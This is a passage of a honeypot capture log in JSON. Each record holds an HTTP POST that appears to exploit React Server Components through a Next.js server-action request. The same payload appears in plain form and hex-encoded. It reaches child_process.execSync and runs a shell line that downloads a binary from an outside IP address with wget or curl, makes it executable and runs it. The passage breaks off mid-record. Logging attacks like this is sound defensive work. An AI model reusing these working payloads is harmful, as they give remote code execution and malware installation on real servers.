})()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313336350d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6720687474703a2f2f322e32372e31342e39323a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6720687474703a2f2f322e32372e31342e39323a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e67205c75303032365c7530303236202e2f2e675c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"9d80a3bb-ae05-4e95-8e48-3ed0ed7b6a50","seq":1,"duration_ms":100,"bytes_in":1603,"bytes_out":78},{"timestamp":"2026-09-04T14:25:01","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1367\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://2.26.124.67:889/agustin51 || curl -k -s -o .f http://2.26.124.67:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313336370d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f322e32362e3132342e36373a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f322e32362e3132342e36373a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"a9ab13fd-53aa-4770-ac4d-564afddfded0","seq":1,"duration_ms":100,"bytes_in":1607,"bytes_out":78},{"timestamp":"2026-09-04T12:58:20","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1367\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://2.26.124.67:889/agustin51 || curl -k -s -o .f http://2.26.124.67:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313336370d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f322e32362e3132342e36373a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f322e32362e3132342e36373a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"b9b4b865-0c85-49b3-ac4e-1a8657f065be","seq":1,"duration_ms":100,"bytes_in":1606,"bytes_out":78},{"timestamp":"2026-09-04T12:51:35","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1367\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://2.26.124.67:889/agustin51 || curl -k -s -o .f http://2.26.124.67:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313336370d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f322e32362e3132342e36373a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f322e32362e3132342e36373a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"788037b2-3dfb-4bf8-820b-19b28076b9b9","seq":1,"duration_ms":100,"bytes_in":1605,"bytes_out":78},{"timestamp":"2026-09-04T09:14:10","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1367\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://2.26.124.67:889/agustin51 || curl -k -s -o .f http://2.26.124.67:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313336370d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f322e32362e3132342e36373a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f322e32362e3132342e36373a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"546dd5b8-5627-42be-9957-31385ffc364c","seq":1,"duration_ms":100,"bytes_in":1606,"bytes_out":78},{"timestamp":"2026-09-04T07:21:29","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1367\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://2.26.124.67:889/agustin51 || curl -k -s -o .f http://2.26.124.67:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    